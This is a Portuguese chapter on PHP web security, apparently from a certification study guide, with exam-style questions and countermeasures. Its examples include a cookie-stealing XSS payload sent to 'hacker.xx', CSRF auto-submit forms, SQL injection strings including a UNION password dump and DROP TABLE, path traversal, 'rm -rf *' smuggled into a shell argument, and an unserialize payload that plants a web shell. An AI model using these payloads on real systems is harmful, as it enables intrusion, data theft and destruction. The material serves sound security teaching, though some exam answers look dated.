Configuração
Seguindo algumas orientações gerais, nas configurações no servidor de produção jamais mostre
os erros que porventura possam acontecer. Para tanto utilize a cláusula display_errors = off no
arquivo php.ini. Aconselha-se registrá-los em arquivos de log, habilitando a diretiva log_errors =
On e apontando para um arquivo textual através de error_log = /var/log/erros_do_php.log.

Importante mencionar que podemos alternar tais configurações em tempo de execução através da
função ini_set(). Ex.:

1 ini_set('error_reporting', E_ALL);
2 ini_set('log_errors', 'On');
3 ini_set('error_log', '/logs/erros.log');

Como você deveria rastrear erros de um website em produção?

A: Habilitando a diretiva display_errors


B: Habilitando a diretiva log_errors
C: Tendo um manipulador de exceção para todo o site
D: Configurando a diretiva error_reporting para E_ALL & ~E_NOTICE

Se habilitarmos no php.ini a cláusila display_errors como sugere a alternativa A, todos os erros


serão exibidos na página web - ocasionando uma brecha de segurança considerável.
A alternativa C propõe o uso maciço de blocos try/catch em toda a extensão do website. Embora
seja uma boa ideia, não seria prático para um grande sistema. Eventualmente escaparia algum erro
não capturado, pois é inviável controlar todas as exceções e pormenores do sistema.
A opção D configura error_reporting = E_ALL & ∼E_NOTICE no php.ini. Significa que serão
reportados todos os erros (E_ALL) exceto o nível de erros E_NOTICE. Mas também não seria uma
alternativa interessante no âmbito da segurança, pois ainda mostrará muitos erros que podem ser
explorados pelo atacante.
Então a opção correta é B: Habilitando a diretiva log_errors, onde podemos direcionar todo
tipo de erro desejado para um arquivo de log, com acesso privado.
Segurança 218

Segurança de Sessão
O ataque Session Hijacking rouba uma sessão já estabelecida, mais atrativa quando um usuário já
estiver logado no sistema, por exemplo. As etapas do ataque são as seguintes:

1. O usuário se autentica normalmente;


2. Esse usuário acessa uma página que contém um JavaScript malicioso que captura o cookie
PHPSESSID (através do ataque XSS, que veremos adiante);
3. O hacker acessa a página, edita localmente o seu próprio cookie e informa o ID da sessão
que foi capturado anteriormente. Dependendo do cenário, ele pode passar o ID da sessão via
método GET. Ex.: ?PHPSESSID=92ef272ca6dd1e2ac1a6857ee231048c
4. Ao recarregar a página, o conteúdo restrito abre-se como se já estivesse logado.

Outro ataque interessante chama-se session fixation, variante do hijacking. Ele faz com que o usuário
utilize um ID de sessão fixo sugerido pelo atacante.
É recomendado sempre utilizar sessões baseadas em cookies, para evitar que elas fiquem trafegando
junto a URL. Para realizar tal medida, desabilite a instrução session.use_trans_sid (no php.ini).

Ação Instrução
Modificar o ID da sessão antes de operações críticas session_regenerate_id(true);

Reduzir o timeout da sessão session.gc_maxlifetime = 1440


session.cookie_lifetime = 0

Jamais transitar com o ID da sessão exposto via URL session.use_only_cookies = On

Tornar o cookie acessível somente por HTTP, evitando acesso via JavaScript session.cookie_httponly = On

A função session_regenerate_id() modifica o ID mas mantém os dados da sessão. O parâmetro


true na função session_regenerate_id() elimina resquícios da sessão antiga.

A cláusula session.use_only_cookies deve estar habilitada, caso contrário permite que o ID da


sessão seja passado por parâmetro via GET - deixando suas requisições mais vulneráveis.

Cross-Site Scripting
Também conhecido por XSS, é a inserção de códigos maliciosos baseados em linguagens cliente
(client-side) como JavaScript, HTML, CSS, VBScript, ActionScript etc.
Esse tipo de ataque captura informações do usuário que visualiza e interage com a página,
explorando blogs e fóruns de discussão.
São ataques geralmente implementados em JavaScript que podem, por exemplo, redirecionar o
Segurança 219

usuário para outra página, modificar o conteúdo da página (deface⁶⁵) ou ler cookies do usuário.
Imagine um sistema de blog contendo um mecanismo de comentários. Pressumponha que não haja
qualquer preocupação com o ataque Cross-Site Scripting e que possamos escrever, deliberadamente,
ao invés de um comentário real, um trecho de código JavaScript como sugerido abaixo. Quem for
acessar o site posteriormente, terá experiências desagradáveis:

1 //Insulta o usuário que acessar o site


2 <script>alert("Ola asshole");</script>
3
4 //Obtém os cookies
5 <script>alert(document.cookie)</script>
6
7 //Manda os cookies do usuário para algum destino, para que possa ser explorado
8 <script>(new Image()).src = "http://hacker.xx/?" + escape(document.cookie)</scri\
9 pt>
10
11 //Oculta os demais comentários, distorcendo o conteúdo da página
12 <div style="display:none">
13
14 //Redireciona o usuário para outro endereço
15 <meta http-equiv="refresh" content="0; url=http://hacker.xx">

Para evitar que o usuário adicione tais códigos nos campos HTML input ou textarea, o desenvol-
vedor deve filtrar os dados de entrada através de algumas funções especiais tais como:

Função Descrição
strip_tags() Elimita tags do conteúdo, exceto algumas tags
especificadas: strip_tags($item, '<b><i>').
htmlspecialchars() Converte caracteres especiais para o contexto HTML: &
torna-se &amp;, " torna-se &quot;, ' torna-se &#039; (desde
que passe a constante ENT_QUOTES como segundo
parâmetro), < torna-se &lt; e > torna-se &gt;.
htmlentities() Converte todos os caracteres em seus equivalentes HTML.
São os caracteres listados acima, bem como caracteres
acentuados, cedilha e outros. Ou seja: í torna-se &iacute;,
ç torna-se &ccedil;, ã torna-se &atilde; e assim por diante.

A função htmlentities() gera mais código de saída, mas permite que se utilize tal conteúdo em
arquivos XML (sem corromper), além de evitar problemas ao manipular caracteres no padrão ISO-
8859-1.
⁶⁵https://en.wikipedia.org/wiki/Website_defacement
Segurança 220

Cross-Site Request Forgeries


O ataque CSRF, abreviatura de Cross-Site Request Forgeries (Requisições Forjadas entre Sites) é
quando o usuário ou a navegação desviam o fluxo normal da aplicação, provocando uma ação
inesperada em um site supostamente seguro, geralmente na ocasião em que o usuário estiver
devidamente autenticado.
A técnica consiste em invocar requisições HTTP por meio de engenharia social, já que essa requisição
forjada pode estar “camuflada” em um imagem falsa (de tamanho 0x0 pixels), ou em um link
malicioso que chegue por e-mail, ou um formulário submetido por conta própria via JavaScript
(Ex.: document.forms["formulario"].submit();).
As tags comumente utilizadas nesse ataque são: <iframe>, <script>, <object>, <embed> e <img>.
Pressuponha que o usuário está devidamente logado e com privilégios dentro de uma aplicação web.
Imagine agora que o mesmo usuário abre um e-mail, sendo que no corpo da mensagem exista um
link “atraente” como esse:

1 <a href="http://milhas.com/transfere.php?beneficiado=hacker&quant=100000">Veja m\
2 inhas fotos!</a>

Perceba que, ao clicar no link em busca das “fotos”, na realidade o hacker está realizando uma
operação de transferência. Aqui nós utilizamos um exemplo bem elementar, para fins didáticos.
E se esse mesmo usuário acessasse uma página “contaminada” via XSS (Cross-Site Scripting), então
ele nem perceberia que está realizando uma transferência de milhas - caso a requisição estivesse
escondida em uma imagem de 0x0 pixels. Veja esse exemplo:

1 <img src="http://milhas.com/transfere.php?beneficiado=hacker&quant=100000" width\


2 ="0" height="0" border="0">

E se a transferência de milhas no site destino for via o método POST, é possível criar um formulário
“camuflado” submetido automaticamente:

1 <form name="FormOculto">
2 <input type="hidden" name="beneficiado" value="hacker">
3 <input type="hidden" name="quant" value="100000">
4 </form>
5 <script>document.forms['FormOculto'].submit();</script>

Como contra-medidas recomenda-se usar um token único nos formulários e verificar toda vez que o
formulário for submetido, além de exigir que o usuário se autentique novamente antes de qualquer
operação crítica.
Segurança 221

SQL Injection
O ataque de Injeção SQL é quando a consulta ao banco de dados é montada através de dados vindos
do usuário, sem nenhum tratamento. Ou seja, a montagem da cláusula SQL usa dados externos não
filtrados.
Imagine uma tela típica de autenticação:

Digamos que o desenvolvedor utilize essas credenciais (campo de e-mail e senha) e monte a consulta
SQL com tais dados, sem verificação. Ex.:

1 $email = $_POST['email'];
2 $senha = $_POST['senha'];
3 $sql = "SELECT * FROM usuarios WHERE email='$email' AND senha='$senha'";

Pressuponha que o hacker, ao invés de digitar uma senha no respectivo campo, coloque conteúdo
malicioso, como por exemplo: senha' OR '1'='1.
No lado do servidor, quando o script PHP substituir o conteúdo do campo senha na montagem da
query, teremos a seguinte cláusula SQL:

1 $sql = "SELECT * FROM usuarios WHERE email='$email' AND senha='senha' OR '1'='1'\


2 ";

Independente do $email e $senha que o atacante informar, a consulta será executada com sucesso
pois 1 é obviamente igual a 1, portanto verdadeiro. Então é bem provável que o usuário consiga
acesso a áreas protegidas do sistema, desconhecendo completamente e-mail e senha de usuário.
Segurança 222

Outras injeções de SQL poderiam ser bem piores, como por exemplo: ‘; DROP TABLE usuarios;--
que faria apagar uma tabela inteira do banco de dados.
Como contra-medidas temos as prepared statements (quando suportadas pelo banco de dados),
algumas funções específicas do banco de dados em questão (ex.: mysqli_real_escape_string())
e SEMPRE validar todos os dados de entrada.
Não é suficiente apenas processar os dados com addslashes(), função que adiciona barra de escape
nas aspas (simples e duplas). Até porque essa mesma operação pode ser feita de forma automática
no php.ini pela diretiva magic_quotes_gpc = on.

Considere uma conexão MySQLi previamente estabelecida e uma página contendo um f\


ormulário de busca de artigos.
O código PHP que realiza a busca por palavra-chave executa uma query típica de c\
onsulta:
SELECT * FROM artigos WHERE conteudo LIKE '%".$_POST['busca']."%'
Ao substituir o conteúdo de busca pelo código malicioso abaixo, qual medida NÃO \
é válida para evitar um ataque SQL Injection?
%' UNION SELECT email,senha FROM usuarios;--

A: gravar no banco de dados as senhas criptografadas com password_hash()

B: sempre consultar TODOS os campos da tabela principal (SELECT * FROM), assim o\


atacante dificilmente saberá quantas colunas serão necessárias para igualar com\
a primeira cláusula SELECT

C: aplicar a função mysqli_real_escape_string sob o SQL

Ao substituir $_POST['busca'] pelo código malicioso indicado no enunciado, a query será montada
da seguinte forma:

1 SELECT * FROM artigos WHERE conteudo LIKE '%%' UNION SELECT email,senha FROM usu\
2 arios;--%'

Significa que a consulta vai trazer todos os artigos, bem como a relação dos e-mails e senhas dos
usuários. Os dois traços -- indicam que tudo depois é comentário e os caracteres que “sobraram”
não devem afetar a query.
A única dificuldade será equiparar a quantidade de campos em ambas as consultas, o que é
relativamente fácil - por tentativa e erro.
Obs.: a literatura de banco de dados enfatiza que os campos das respectivas consultas necessitam
ter o mesmo formato, mas na prática o MySQL é bastante flexível e traz tais conteúdos mesmo que
sejam de tipos distintos.
Segurança 223

Com tamanha facilidade de injeção de código SQL, é imprescindível criptografarmos as senhas de


usuário armazenadas em BD. Portanto a alternativa A é válida e não faz parte da resposta.
A função procedural mysqli_real_escape_string() escapa caracteres especiais da string que
formam o SQL, portanto realmente útil para mitigar ataques de injeção SQL.
A medida inválida (e portanto a opção correta nesse caso) é a alternativa B, pois podemos
experimentar deliberadamente mais ou menos campos até descobrirmos a quantidade exata de
colunas que viabilize parear com a cláusula UNION do SQL. Então a resposta será alternativa B.
Outras medidas igualmente importantes para a segurança do Banco de Dados são:

• Princípio da restrição de privilégios;


• Evitar exposição desnecessária pela internet;
• Isolar o BD em segmentos de rede separados;
• Controlar o tráfego de saída do servidor;
• Alterar as senhas default;
• Ler os logs.

Qual encriptação é recomendada caso sua aplicação necessite armazenar credenciai\


s de banco de dados?

A: Criptografia de chave simétrica


B: Hashing
C: Caesar cipher
D: ROT13

Partindo do princípio da eliminação, nessa questão, a alternativa B: Hashing não é capaz de fazer o
caminho de volta justamente por ela ser one-way.
A opção D: ROT13 transforma cada caracter em 13 posições a frente no alfabeto, então seria
facilmente decodificada. Quando ultrapassa a letra z ele rotaciona, voltando para o começo do
alfabeto.
A alternativa C: Caesar cipher[^Ceasarcipher] faz referência ao imperador romando que codifi-
cava a mensagem de acordo com o tamanho do cilindro que a embalava.
Então teremos a A: Criptografia de chave simétrica como técnica viável e segura para guardar
credenciais de banco de dados, permitindo que a aplicação consiga reverter a cifragem.

Remote Code Injection


Observe a a ilustração a seguir e veja o quanto você se familiariza com esse cenário:
Segurança 224

Nele identificamos um script PHP comum para todas as páginas, para compartilharmos a mesma
estrutura HTML (elementos visuais como bordas e menus), utilizando as mesmas chamadas
JavaScript, incorporando CSS, realizando conexões com banco de dados e apenas nos preocupando
com o conteúdo mais interno. É um modelo comumente conhecido como bootstrap.
Para implementarmos esse modelo de reaproveitamento de código, é necessário passar como
parâmetro que página nos interessa visualizar na área destinada ao conteúdo. Como exemplo,
vamos utilizar index.php?arquivo=xxxx.php onde xxxx poderia ser algo como editar, deletar,
visualizar e outras operações de CRUD⁶⁶.
Mediante essa estrutura, imagine que o desenvolvedor newbie⁶⁷ implementa o seguinte código PHP:

1 include "/caminho/" . $_GET['arquivo'];


2 include $_GET['arquivo'] . ".php";

Pressupondo que o bootstrap faz o include do arquivo com o seu nome completo (ex.: http://site/noticias/index.
novo.inc.php) e que a cláusula do allow_url_fopen está On (php.ini), o atacante pode experimentar
um procedimento mais astuto:

1. Criando um script PHP e salve como texto puro (padrão ANSI⁶⁸) com a extensão jpg, por
exemplo. Veja o quadro abaixo para mais detalhes sobre a extensão do arquivo;
⁶⁶Acrônimo de Create, Read, Update e Delete.
⁶⁷https://pt.wikipedia.org/wiki/Newbie
⁶⁸https://pt.wikipedia.org/wiki/American_National_Standards_Institute
Segurança 225

2. Fazer o upload desse arquivo para um servidor web conhecido;


3. Acessar o site da vítima alterando a página de conteúdo (que será substituída) para a URL
completa onde encontra-se o script do atacante (camuflado com a extensão .jpg).

URL maliciosa Explicação


site.com/x.php?opcao=http://hacker/in.txt Extensão .txt é inofensivo pois simplesmente carrega
o conteúdo do arquivo no site da vítima.
site.com/x.php?opcao=http://hacker/in.php O .php é interpretado no servidor de onde está
hospedado, sem grande impacto.
site.com/x.php?opcao=http://hacker/in.jpg Aparentemente inocente, possui código PHP malicioso
internamente – que será interpretado no servidor da
vítima.

Ou, ao invés de incorporar um script malicioso externo, você pode passar como parâmetro (via GET)
um arquivo de senhas do próprio servidor (ex.: ?opcao=../../../../passwd) e quebrar a senhas
por força bruta com algum utilitário do tipo John the Ripper⁶⁹.
Abaixo seguem algumas medidas para evitar Command Injection/Code Injection:

• Verifique os dados de entrada com uma whitelist, sendo assim somente dados previamente
autorizados poderão ser inseridos (via include/require);
• Remova caminhos de arquivos através da função basename(). Ex.: echo basename("../../etc/passwd");
retorna somente passwd, que não surte efeito;
• Desabilite, quando possível, a diretiva do php.ini que carrega conteúdo externo: allow_url_-
fopen = Off.
• Se a diretiva allow_url_fopen estiver habilitada (por algum requisito da aplicação), certifique-
se de configurar a cláusula allow_url_include para Off.
Com a diretiva de configuração allow_url_include ativada, permite-se a inclusão de dados
a partir de locais remotos (site ou servidor FTP).
Ao desabilitar allow_url_fopen, allow_url_include também é desativada.

A linguagem permite executar comandos shell com a possibilidade de visualização dos resultados
(através da STDOUT⁷⁰).
Existem diferentes formas de se executar comandos externos para executar comandos no servidor
ou software de terceiros:

• shell_exec
• exec
⁶⁹http://www.openwall.com/john
⁷⁰Standard output.
Segurança 226

• system
• \$comando“
• passthru

O ataque intitulado Command Injection segue um fluxo semelhante ao passo-a-passo seguinte:

1. Crie um script PHP em seu servidor contendo:

1 $resultado = shell_exec("ls -lah");


2 echo "<pre>".$resultado."</pre>";

2. Renomeie o script com extensão .jpg, .png ou .gif;


3. Use o bootstrap da vítima e aponte para a URL completa do arquivo (em seu servidor).

Como contra-medida, verifique se o php.ini possui a diretiva:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,cu\
rl_multi_exec,parse_ini_file,show_source

Caso alguma operação discriminada em disable_functions seja imprescindível, outra forma de


minimizar o ataque é sempre optar pela versão nativa do comando. Ex.: unlink('arquivo.txt')
ao invés de shell_exec('rm arquivo.txt').

Qual dos caracteres a seguir é escapado pela função escapeshellarg()?

A: &
B: "
C: '
D: ;

Antes de respondermos essa questão, é importante ilustrarmos o propósito da função escapeshel-


larg().

A função escapeshellarg() trata o argumento de modo a torná-lo seguro quando utilizado como
parâmetro de funções shell, tais como: exec(), system(), shell_exec(), passthru() e com o
operador backtick⁷¹ (ou operador de execução composto por dois acentos graves `, um no início e
outro no fim do comando).
Como exemplo de vulnerabilidade, observe o código PHP a seguir:

⁷¹Observe que o operador de execução não é aspas simples! Ex.: $output = `ls -al`;
Segurança 227

1 exec("ping -c 2 ".$_GET['argumento'], $saida);


2 echo "<pre>";
3 print_r($saida);
4 echo "</pre>";

Ao acessar o script.php acima, passaremos argumentos via URL da seguinte forma:

http://localhost/script.php?argumento=certificamp.com

A resposta será o resultado do comando ping -c 2 certificamp.com, como visto abaixo:

Array
(
[0] => PING certificamp.com (186.202.153.42) 56(84) bytes of data.
[1] => 64 bytes from hm6843.locaweb.com.br (186.202.153.42): icmp_req=1 ttl=\
50 time=174 ms
[2] => 64 bytes from hm6843.locaweb.com.br (186.202.153.42): icmp_req=2 ttl=\
50 time=174 ms
[3] =>
[4] => --- certificamp.com ping statistics ---
[5] => 2 packets transmitted, 2 received, 0% packet loss, time 999ms
[6] => rtt min/avg/max/mdev = 174.259/174.427/174.596/0.450 ms
)

Mas se o usuário experimentar algo mais ousado como, por exemplo, um novo comando separado
por ponto-e-vírgula ;:

http://localhost/script.php?argumento=certificamp.com;whoami

O resultado seria o conteúdo abaixo, atentando-se para o índice 7 que contém acimainterac-
tive.com, saída do comando whoami daquele servidor:
Segurança 228

Array
(
[0] => PING certificamp.com (186.202.153.42) 56(84) bytes of data.
[1] => 64 bytes from hm6843.locaweb.com.br (186.202.153.42): icmp_req=1 ttl=\
50 time=174 ms
[2] => 64 bytes from hm6843.locaweb.com.br (186.202.153.42): icmp_req=2 ttl=\
50 time=174 ms
[3] =>
[4] => --- certificamp.com ping statistics ---
[5] => 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
[6] => rtt min/avg/max/mdev = 174.779/174.791/174.804/0.418 ms
[7] => acimainteractive.com
)

Mas a situação pode piorar (e muito) se o atacante experimentar algo como:

http://localhost/script.php?argumento=certificamp.com;rm -rf *

Por isso que a função escapeshellarg() é tão importante, impedindo a execução de comandos
inline. Para tal, substitua a primeira linha de código PHP por:

1 exec("ping -c 2 ".escapeshellarg($_GET['argumento']), $saida);

Assim sendo, a função se encarrega de sanitizar o argumento e minimizar prejuízos. Quando houver
indício de comandos sucessívos, o resultado será:

Array
(
)

Mas voltando a resposta da questão, uma das características da função escapeshellarg() é adicionar
aspas simples no início e fim do argumento. Portanto o caracter escapado será a própria aspa
simples, no caso alternativa C: '.

Senhas
Jamais salve senhas de credenciais de usuário, por exemplo, em texto puro no banco de dados!
Utilize, ao menos, o cálculo de hash da senha em questão. A hash tem como características tamanho
fixo (independente dos dados de entrada) e ser unidirecional. Ou seja: impossibilita descobrir o
conteúdo original, exceto por força bruta.
Abaixo seguem duas funções que podem ajudar nesse processo. Ex.:
Segurança 229

• md5() gera 32 caracteres hexadecimais


• sha1() gera 40 caracteres hexadecimais

Qual o algoritmo que a função crypt() utiliza como padrão?

A: Blowfish
B: DES
C: MD5
D: SHA1

O algoritmo SHA1 não está disponível sob circunstância alguma. Já o Blowfish e MD5 estão
disponíveis (para uso nessa função crypt()), mas não são os algoritmos default. O algoritmo padrão
é o DES, portanto alternativa B é a correta.
Para alterar o comportamento da função crypt(), utilize as constantes específicas, como por
exemplo: define(CRYPT_BLOWFISH, true);.
Desde a versão 5.5 do PHP temos disponível nativamente uma API bastante sofisticada para hashing
de senha:

• Converte a senha em um token de uma só via;


• Havia uma biblioteca desmembrada para essa finalidade: http://openwall.com/phpass;
• Dificilmente se consegue aplicar engenharia reversa para decifrar a senha original;
• É uma medida de segurança imprescindível em sistemas web;
• Destaque para o algoritmo Bcrypt, em relação ao antecessores MD5 e SHA-1.

1 $pass1 = password_hash("senha", PASSWORD_BCRYPT);


2 echo $pass1;
3 //Algo como: $2y$10$bi8RpsxOvEt5mdmZRQjPqewPpw5OhRQcIQZWDld3/GDC3t6dL6wFC
4
5 //Tornando a hash ainda mais difícil de decifrar, podemos passar opções:
6 //cost representa o tempo de CPU utilizado, quoeficiente entre 4 a 31
7 //Obs.: o cost a partir de 10 começa a comprometer a performance
8
9 $pass2 = password_hash("senha", PASSWORD_BCRYPT, array('cost' => 8));
10 echo $pass2;

A função password_hash() gera uma hash de 60 caracteres. Como argumento perceba a constante
PASSWORD_BCRYPT representa o algoritmo BlowFish.
Segurança 230

Outra constante importante é PASSWORD_BCRYPT_DEFAULT_COST que tem, por padrão, o valor 10 e


varia de 4 a 31. Onde quanto mais alto, mais segura é a hash (e evidentemente mais overhead para
produzí-la).
Obs.: uma hash complexa pode levar até UM segundo para ser calculada, então use com parcimônia.
Dica: utilize get_defined_constants() para exibir todas as constantes pré-definidas no sistema.
No momento de checar se a senha informada pelo usuário combina com a senha salva no servidor,
a validação deverá ser realizada pela função password_verify($senha, $hash). Ex.:

1 if(password_verify('pa$$word’,
2 '$2y$11$Junicao2k14AriNetoPalea7XU5I/HU2TBiIy1ISQPliFAawO8ptq')){
3 echo "Senha correta";
4 }
5 else {
6 echo "Senha incorreta";
7 }

Para fins didáticos, a hash da segunda linha está explicita no código. Mas, em condições normais,
evidentemente ela estará armazenada em banco de dados.
Outra função interessante disponível na API é password_get_info() que mostra informações a
respeito da senha gerada. Ex.:

1 print_r(password_get_info('$2y$11$Junicao2k14AriNetoPalea7XU5I/HU2TBiIy1ISQPliFA\
2 awO8ptq'));

O resultado é:

Array
(
[algo] => 1
[algoName] => bcrypt
[options] => Array
(
[cost] => 11
)

E-mail Injection
Primeiramente vamos entender como funciona a função nativa mail(), que realiza o envio de
mensagens eletrônicas. Essa função aceita uma série de parâmetros:
Segurança 231

boleano mail ($destinatario, $assunto, $mensagem [, $cabeçalhos [, $parametros_a\


dicionais ]])

Preenchendo devidamente os respectivos argumentos, teremos:

1 mail("endereco@vitima.com", "Oi", "Tudo bem\nAdorei seu site.\nTchau", "From: re\


2 metente@anonimo.com\n");

Ao executar o código acima você terá a seguinte requisição HTTP:

To: endereco@vitima.com
Subject: Oi
From: remetente@anonimo.com

Tudo bem
Adorei seu site.
Tchau

Observe que a função mail() monta a requisição adicionando os cabeçalhos To:, Subject: e From:
baseado nos parâmetros passados para a função.
Isso significa que se adulterarmos os parâmetros e colocarmos mais cabeçalhos, ele fará a
concatenação desses dados e o subsequente disparo da mensagem. Veja um exemplo:

1 $remetente = "remetente@anonimo.com%0ACc:outro@anonimo.com%0ABcc:mais@anonimo.co\
2 m,aindaesse@anonimo.com";
3 mail("endereco@vitima.com", "Oi", "Tudo bem\nAdorei seu site.\nTchau", $remetent\
4 e);

O cabeçalho ficaria:

To: endereco@vitima.com
Subject: Oi
From: remetente@anonimo.com
Cc:outro@anonimo.com
Bcc:mais@anonimo.com,aindaesse@anonimo.com

Tudo bem
Adorei seu site.
Tchau
Segurança 232

Veja que agora o e-mail será enviado com cópia ‘Cc’ (Carbon Copy) para outro@anonimo.com e como
‘Bcc’ (Blind Carbon Copy) para mais@anonimo.com e aindaesse@anonimo.com.
Considerando que ainda muitos desenvolvedores usam o e-mail do usuário (definido como ‘From’) e
o obtém diretamente do formulário, então perceba o quão fácil seria hackear esse disparo de e-mail.

Identifique a brecha de segurança que existe no seguinte código de exemplo?

<?php
mail('ari@certificamp.com',
'Feedback",
'Aqui está o meu opinário.',
"From: {$_COOKIE['email']}");
?>

A: Nenhuma das alternativas


B: Remote Code Injection
C: E-mail Injection
D: Cross-Site Request Forgeries

O desenvolvedor pretendia utilizar como e-mail de origem o endereço previamente armazenado


nos cookies. Mas os cookies são facilmente adulteráveis e possibilita que o usuário malicioso
venha a repetir algum cabeçalho previamente definido (com por exemplo To ou Subject), ou até
mesmo acrescente uma mensagem extra, ou que redefina o Content-Type mexendo no formato da
mensagem, ou distorcendo o tipo MIME, além de outras alterações.
Obviamente, a resposta aqui é C: E-mail Injection.
Para evitar esse tipo de ataque, filtre os dados de entrada da função mail() com Expressões
Regulares⁷² removendo dos cabeçalhos todos os caracteres especiais \r e \n, pois são indícios de
ataque.

Que proteção você usaria para filtrar o segundo parâmetro da função `mail()` par\
a impedir o ataque de injeção de e-mail?

A: O segundo parâmetro é seguro. Nenhuma proteção é exigida


B: Escapar o ' e "
C: Escapar os caracteres \r\n de CRLF
D: Converter em boleano
E: Nenhuma das anteriores

⁷²https://pt.wikipedia.org/wiki/Express%C3%A3o_regular
Segurança 233

Quem vem estudando a mais tempo pode vir a confundir-se com essa questão. Se estivéssemos
falando sob o contexto do PHP 5.3, a alternativa C seria a correta, pois na época o segundo parâmetro
não recebia tratamento adequado e abria essa brecha de segurança.
Analisando sob o ponto de vista do PHP 7.1 (versão vigente do exame), a alternativa correta é a A,
pois a função mail() já filtra automaticamente os dados de entrada.

Filtragem de dados de entrada


Fontes externas de dados são a principal origem de ataques. Algumas delas são: $_GET, $_POST,
$_REQUEST, $_COOKIE, $argv, php://stdin, php://input, file_get_contents(), APIs remotas,
variáveis de ambiente etc.
Filtrar é bloquear valores indesejados que possam comprometer a execução normal do sistema,
preferencialmente antes de alcançar a camada de persistência da sua aplicação. A principal
função que realiza essa filtragem é a filter_var() que recebe o valor a ser examinado e uma
constante que determina qual tipo de filtragem desejamos realizar. No exemplo abaixo utilizando a
FILTER_VALIDATE_EMAIL.

1 $email = "certificamp.com";
2 if(filter_var($email, FILTER_VALIDATE_EMAIL)){
3 echo "E-mail VÁLIDO";
4 }
5 else {
6 echo "E-mail inválido";
7 }

O retorno de filter_var() é o valor sanificado ou bool(false) caso os dados sejam incompatíveis


com o exigido.
A lista completa de filtros encontra-se em http://php.net/manual/en/filter.filters.php e são divididos
em dois grupos: FILTER_VALIDATE_* e FILTER_SANITIZE_*, de acordo com o propósito.
Há dois termos importantes a serem salientados: a validação de dados que verifica se determinado
valor encontra-se dentro do contexto esperado e limpeza de dados (sanitize) que remove, de um
determinado valor, todos os caracteres não permitidos.
Tenha sempre em mente sanitizar as entradas, validar os dados e escapar as saídas.
Veja esse exemplo de código extraído de https://speakerdeck.com/willdonohoe/practical-php-security,
onde o programador faz uso de cookies e reconstroi o objeto através de unserialize():
Segurança 234

1 class Logger {
2 public $logFile;
3 public $buffer;
4 public $fh;
5 public function __destruct() {
6 $this->WriteBuffer();
7 }
8 public function WriteBuffer() {
9 if (!$this->fh) {
10 $this->fh = fopen($this->logFile, 'w');
11 }
12 fwrite($this->fh, $this->buffer);
13 }
14 }
15
16 $cookieData = unserialize($_COOKIE['data']);

Sabemos que cookies são totalmente vulneráveis e poderíamos facilmente editar o conteúdo de data,
adicionando o seguinte código:

O:6:"Logger":3:{s:7:"logFile";s:8:"vish.php";s:6:"buffer";s:27:"<?php system($_G\
ET["mal"]);";s:2:"fh";N;}

Ao executar o script PHP, ele descerializa o conteúdo do cookie, gerando um arquivos chamado
vish.php com o conteúdo:

1 <?php system($_GET["mal"]);

Significa que poderemos invocar o script vish.php passando a variável mal via método GET e
executar deliberadamente qualquer comando no sistema operacional.
Pensando nessa vulnerabilidade, o PHP 7.0 implementou um segundo parâmetro na função unse-
rialize() que são nomes de classes permitidas:

1 $dados = unserialize($dados, ["allowed_classes" => ["MinhaClasse1", "MinhaClasse\


2 2"]]);

Escapar saída de dados


Filtrar dados de saída são fundamentais como medida de segurança, principalmente dos ataques de
Cross-Site Scripting (como vimos anteriormente), pois evitam que dados maliciosos sejam exibidos
para os usuários - alterando o comportamento da página.
Veja esse exemplo da função htmlentities() passando ENT_QUOTES como segundo parâmetro -
assim tanto as aspas simples como as duplas serão escapadas:
Segurança 235

1 $saida = "<h1><script>alert('Cuidado!');</script></h1>";
2 echo htmlentities($saida, ENT_QUOTES);
3 //Transforma em: &lt;h1&gt;&lt;script&gt;alert(&#039;Cuidado!&#039;);&lt;/script\
4 &gt;&lt;/h1&gt;

Abaixo segue uma lista de funções para esse propósito:

Funções Descrição
htmlspecialchars() Converte caracteres para suas respectivas entidades HTML. Ex.: < converte em
&lt;
htmlentities() Converte caracteres para suas respectivas entidades HTML, exceto aspas simples
(a menos que você especifique ENT_QUOTES como segundo parâmetro)
strip_tags() Remove tags HTML e PHP de uma string
filter_var() Filtra e sanifica de acordo com as constantes disponíveis
utf8_decode() Converte caracteres latinos (como cedilha, por exemplo) para a codificação UTF-8

Criptografia e Hashing
Criptografia é um algoritmo bidirecional, portanto tudo o que for criptografado poderá ser posteri-
ormente descriptografado. Diferentemente do cálculo de hashing que é um processo unidirecional e
não pode ser revertido para o formato original, sendo que o conteúdo transformado sempre resultará
na mesma hash.
Significa que para guardar credenciais de usuário em banco de dados, você pode armazenar a hash
resultante e comparar o conteúdo da hash. Caso hackers invadam o sistema, eles terão apenas uma
porção de caracteres embaralhados, sem sentido. Os algoritmos de hash mais famosos são MD5,
SHA1, bcrypt e Scrypt.

A versão 7.0 do PHP implementou a função random_bytes() que retorna o número de


bytes passados como parâmetro. Ex.: echo random_bytes(5). É uma função que gera bytes
aleatórios para uso em cookies e criptografia. A saída da função devolve bytes randômicos
“crus”, portanto recomenda-se utilizar em conjunto com a função bin2hex() para que
seja efetivamente útil. Ex.: echo bin2hex(random_bytes(5)). A função random_bytes()
usa diferentes bibliotecas de acordo com o sistema operacional: CryptGenRandom⁷³ no
Windows, getrandom⁷⁴ no Linux e /dev/urandom em outras plataformas. Para números
inteiros randômicos, utilize random_int(min,max) onde min e max estipulam o intervalo
desejado.

⁷³https://msdn.microsoft.com/en-us/library/windows/desktop/aa379942(v=vs.85).aspx
⁷⁴http://man7.org/linux/man-pages/man2/getrandom.2.html
Segurança 236

Upload de arquivos
Primeiramente lembre-se que a superglobal $_FILES vem do usuário, então desconfie já que o nome
do arquivo pode ser forjado. Algumas dicas são:

• Utilize a função basename() e realize checagens de sanitização;


• O MIME type pode ser adulterado - quando possível, ignore-o;
• Verifique o arquivo temporário gerado, que também pode ser modificado.

A extensão do arquivo não é o suficiente para determinar o tipo em questão. Tão pouco o MIME type
que vem no cabeçalho HTTP, que também pode ser modificado. Para ter certeza do conteúdo, utilize
a função mime_content_type() ou o método file() da classe finfo. Ex.:

1 echo mime_content_type('01.jpg'); //retorna image/jpeg


2
3 $informacoes = new finfo;
4 echo $informacoes->file('01.jpg');
5 //Retorna:
6 //JPEG image data, JFIF standard 1.01, resolution (DPI), density 200x200,
7 //segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4],
8 //baseline, precision 8, 1971x1465, frames 3

Armazenamento
Quando falamos em gerenciador de banco de dados devemos tomar algumas providências elemen-
tares:
Medidas Descrição
